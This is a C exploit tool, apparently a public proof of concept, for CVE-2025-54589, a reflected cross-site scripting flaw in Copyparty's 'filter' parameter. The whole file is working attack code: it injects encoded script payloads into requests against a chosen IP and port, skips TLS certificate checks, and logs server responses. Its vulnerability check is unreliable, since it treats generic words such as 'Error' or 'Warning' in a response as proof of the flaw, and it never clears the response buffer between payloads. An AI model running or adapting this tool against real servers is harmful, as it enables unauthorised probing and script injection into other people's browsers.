Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS)

/*
 * Author       : Byte Reaper
 * CVE          : CVE-2025-54589
 * Title : Copyparty 1.18.6 - Reflected Cross-Site Scripting (XSS)
 * CVE-2025-54589 is a reflected cross-site scripting (XSS) vulnerability in Copyparty (≤ 1.18.6) where the filter parameter is inserted into the HTML response without proper sanitization,
  allowing an attacker to inject and execute arbitrary JavaScript in a victim’s browser
*/

#include <curl/urlapi.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h> 
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>

#define FULL_URL 2500
#define COLOR_RESET "\e[0m"
#define COLOR_RED   "\e[1;31m"
#define COLOR_GRN   "\e[1;32m"
#define COLOR_YEL   "\e[1;33m"
#define COLOR_BLU   "\e[1;34m"
#define COLOR_CYN   "\e[1;36m"
#define COLOR_WHT   "\e[1;37m"
#define COLOR_PUR   "\e[1;35m"
#define PRINT_OK(fmt, ...)    print_color(COLOR_GRN, "" fmt, ##__VA_ARGS__)
#define PRINT_ERR(fmt, ...)   print_color(COLOR_RED, "" fmt, ##__VA_ARGS__)
#define PRINT_WARN(fmt, ...)  print_color(COLOR_YEL, "" fmt, ##__VA_ARGS__)
#define PRINT_INFO(fmt, ...)  print_color(COLOR_BLU, "" fmt, ##__VA_ARGS__)
#define PRINT_NOTE(fmt, ...)  print_color(COLOR_CYN, "" fmt, ##__VA_ARGS__)

int verbose = 0;
int useC = 0;
const char *ipT = NULL;
int  portT = 0;
const char *cookies = NULL;
const char *caFile = NULL;
int sCa = 0;
int useColor = 1;
int useHttp = 0;
void print_color(const char *color, const char *fmt, ...) 
{
    va_list args;
    va_start(args, fmt);
    if (useColor)
    {
        printf("%s", color);
    }
        
    vprintf(fmt, args);
    if (useColor)
    {
        printf("%s", COLOR_RESET);
    }
        
    va_end(args);
}
void exitAssembly()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $231, %%rax\n\t"
        "syscall\n\t"
        :
        :
        : "rax",
          "rdi"
    );
}
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        PRINT_ERR("[-] Failed to allocate memory!\n");
        exitAssembly();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
const char *payloadXss[] = 
{

    "</script><script>alert(1)</script>",
    "<script\x09type=\"text/javascript\">javascript:alert(XSS);</script>",
    "<script\x0Ctype=\"text/javascript\">javascript:alert(byte);</script>"
};
int number = sizeof(payloadXss) / sizeof(payloadXss[0]);
const char *wordF[] = 
{
    "Error",
    "Exception",
    "Invalid",
    "XSS",
    "<script>",
    "</script>",
    "alert(1)",
    "syntax",
    "unexpected",
    "undefined",
    "NaN",
    "stack trace",
    "TypeError",
    "ReferenceError",
    "Warning",
    "Access denied",
    "eval(",
    "byte",
};
int numberW = sizeof(wordF) / sizeof(wordF[0]);


void auto_detect_color() 
{
    if (!isatty(fileno(stdout)))
    {
        useColor = 0;
    }
}
void senR(const char *ip, int port)
{
    char full[FULL_URL];
    CURLcode res ;
    CURL *curl = curl_easy_init();
    struct  Mem response ;
    response.buffer= NULL;
    response.len = 0;
    for (int h = 0; h < number ; h++)
    {
        if (!curl)
        {
            PRINT_ERR("[-] Error Create Object Curl !\n");
            PRINT_ERR("[-] Check Your Connection\n");
            exitAssembly();
             
        }
        if (verbose)
        {
            PRINT_OK("==========================================\n");
            PRINT_OK("[1;33m[+] Cleaning Response...\n");
            PRINT_OK("[1;33m[+] Response Buffer : NULL\n");
            PRINT_OK("[1;33m[+] Response Len : 0\n");
            PRINT_OK("==========================================\n");
        }
        if (curl)
        {

            char *payloadE = curl_easy_escape(curl,
                payloadXss[h],
                0);
            struct curl_slist *headers = NULL;
            if (!payloadE)
            {
                PRINT_ERR("[-] Error Encode Payload !\e[0m\n");
                curl_slist_free_all(headers);
                curl_easy_cleanup(curl);
                exitAssembly();             
            }
            
            const char *proto = useHttp ? "http" : "https";
            int len1 = snprintf(full, sizeof(full), "%s://%s:%d/?filter=%s", proto, ip, port, payloadE);
            if (len1 >= sizeof(full))
            {
                PRINT_ERR("[-] URL too long\n");
                exitAssembly();
            }
            PRINT_INFO("[+] Encode Payload : %s\n", payloadXss[h]);
            PRINT_INFO("[+] Encode Payload Successfully.\n");
            PRINT_INFO("[+] Payload Encode : %s\n", payloadE);
            PRINT_INFO("[+] target IP : %s\n",
                ip);
            printf("[+] Full Url : %s\n",
                full);
            printf("[+] Port : %d\n", port);
            curl_easy_setopt(curl,
                CURLOPT_URL,
                full);
            curl_free(payloadE);
            if (useC)
            {
                curl_easy_setopt(curl,
                                 CURLOPT_COOKIEFILE,
                                    cookies);
                curl_easy_setopt(curl,
                                 CURLOPT_COOKIEJAR,
                                 cookies);
            }
            curl_easy_setopt(curl,
                CURLOPT_FOLLOWLOCATION,
                1L);
            curl_easy_setopt(curl,
                            CURLOPT_WRITEFUNCTION,
                            write_cb);
            curl_easy_setopt(curl,
                            CURLOPT_WRITEDATA,
                                &response);
            curl_easy_setopt(curl,
                            CURLOPT_CONNECTTIMEOUT,
                            5L);
            usleep(1500000);
            curl_easy_setopt(curl,
                        CURLOPT_TIMEOUT,
                                10L);
            if (sCa)
            {
                curl_easy_setopt(curl, CURLOPT_CAINFO, caFile);
            }
            else 
            {   
                curl_easy_setopt(curl,
                    CURLOPT_SSL_VERIFYPEER,
                    0L);
                curl_easy_setopt(curl,
                                CURLOPT_SSL_VERIFYHOST,
                                0L);
            }
    
            headers = curl_slist_append(headers,
                                    "Accept-Language: en-US,en");
            headers = curl_slist_append(headers,
                                        "Connection: keep-alive");
            char refR[120];
            int lenF  = snprintf(refR,
                sizeof(refR), 
                "Referer: http://%s:%d", 
                ip, 
                port);
            if (lenF < 0 || (size_t)lenF >= sizeof(refR))
            {
                PRINT_ERR("[-] Len Header Referer is Long ! \n");
                response.buffer = NULL;
                response.len = 0;
                curl_slist_free_all(headers);
                curl_easy_cleanup(curl);
                exitAssembly();
                
            }
            headers = curl_slist_append(headers, refR);
            curl_easy_setopt(curl,
                 CURLOPT_HTTPHEADER, 
                 headers);
            if (verbose)
            {
                PRINT_OK("------------------------------------------[Verbose Curl]------------------------------------------\n");
                curl_easy_setopt(curl,
                                CURLOPT_VERBOSE,
                                1L);
            }
            res = curl_easy_perform(curl);
            curl_slist_free_all(headers);
            if (res == CURLE_OK)
            {
                PRINT_OK("-----------------------------------------------------------------\n");
                long httpCode  = 0;
                curl_easy_getinfo(curl,
                                CURLINFO_RESPONSE_CODE,
                                 &httpCode);
                PRINT_INFO("[+] Request sent successfully\e[0m\n");
                PRINT_OK("[+] Http Code -> %ld\e[0m\n", httpCode);
                FILE *log = fopen("results.txt", "a");
                if (log == NULL)
                {
                    PRINT_ERR("[-] Error Create File !\n");
                    exitAssembly();
                }
                if (log) 
                {
                    fprintf(log, "[+] Target: %s:%d | Payload: %s\n",
                             ip, 
                             port,
                              payloadXss[h]);
                    fprintf(log, "[+] Response : \n%s\n", 
                            response.buffer);
                    fclose(log);
                }
                if (httpCode >= 200 && httpCode < 300)
                {
                    

                    PRINT_OK("[+] Http Code (200 < 300) : %ld\n",httpCode);
                    for (int s = 0; s < numberW ; s++) 
                    {
                        if (strstr(response.buffer, wordF[s]) != NULL)
                        {
                            PRINT_INFO("[+] A suspicious word was found in the server's response !!\n");
                            PRINT_INFO("[+] Word Found : %s\n", wordF[s]);
                            PRINT_NOTE("[+] The vulnerability CVE-2025-54589 exists on the server\n");
                            PRINT_OK("\n======================================== [Response Server] ========================================\n");
                            printf("%s\n", response.buffer);
                            printf("[Len] : %zu\n", response.len);
                            PRINT_OK("\n==================================================================================================\n");

                        }
                    }   
                
                }
                else
                {
                    PRINT_ERR("[-] HTTP Code Not Range Positive (200 < 300) : %ld\n", httpCode);
                    PRINT_ERR("[+] Try Next Payload : %s\e[0m\n", payloadXss[h]);
                }
           
            
            }
            else
            {
                PRINT_ERR("[-] Error Send Request\n");
                PRINT_ERR("[-] Error : %s\e[0m\n", curl_easy_strerror(res));
                exitAssembly();
            }
        
        }
    }
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    curl_easy_cleanup(curl);
}


int main(int argc,
         const char **argv)
{
    curl_global_init(CURL_GLOBAL_DEFAULT);
    
    printf(
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▖▖▄▖▄▖▄▖\n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▙▌▙▖▙▌▙▌\n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▄▌ ▌▄▌▙▌▄▌\n"
                        "Byte Reaper\n"
    );
    int noColor = 0;
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('i',
                    "ip",
                    &ipT,
                    "Target IP "),
        OPT_STRING('c',
                    "cookies",
                    &cookies,
                    "cookies File"),
        OPT_BOOLEAN('v',
                     "verbose",
                     &verbose,
                     "Verbose Mode"),   
        OPT_INTEGER('p', 
            "port", 
            &portT,
            "Enter Target Port"),
        OPT_STRING('a', 
            "ca" ,
            &caFile, 
            "Enter Name File CA\n"),
        OPT_BOOLEAN('t', "http", &useHttp, "HTTP Protocol"),
        OPT_BOOLEAN('n',
             "no-color",
             &noColor, 
             "Disable colored output"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                options,
                NULL,
                0);
 
    argparse_parse(&argparse,
                argc,
                argv);
    if (ipT == NULL)
    {
        PRINT_ERR("[-] Please Enter Target Ip And Port !\n");
        PRINT_ERR("[-] Ex : ./exploit -i <IP> -p <PORT>\n");
        PRINT_ERR("[-] Exit Syscall\n");
        curl_global_cleanup();
        exitAssembly();
    };
    printf("---------------------------------------------------------------------\n\n");
    printf("[+] Start Exploit XSS (CVE-2025-54589)...\n");
    if (cookies)
    {
        useC = 1;
    }
    if (verbose)
    {
         verbose = 1;
    }
    if (!portT)
    {
        printf("[+] Default Port : %d\n", 3923);
        portT = 3923;
    } 
    if (caFile)
    {
        sCa = 1;
    }
    if (useColor)
    {
        useColor = 1;
    }

    if (noColor) 
    {
        
        useColor = 0;    
    }
    if (useHttp)
    {
        useHttp = 1;
    }
    auto_detect_color();
    senR(ipT, portT);
    curl_global_cleanup();
    return 0;
 }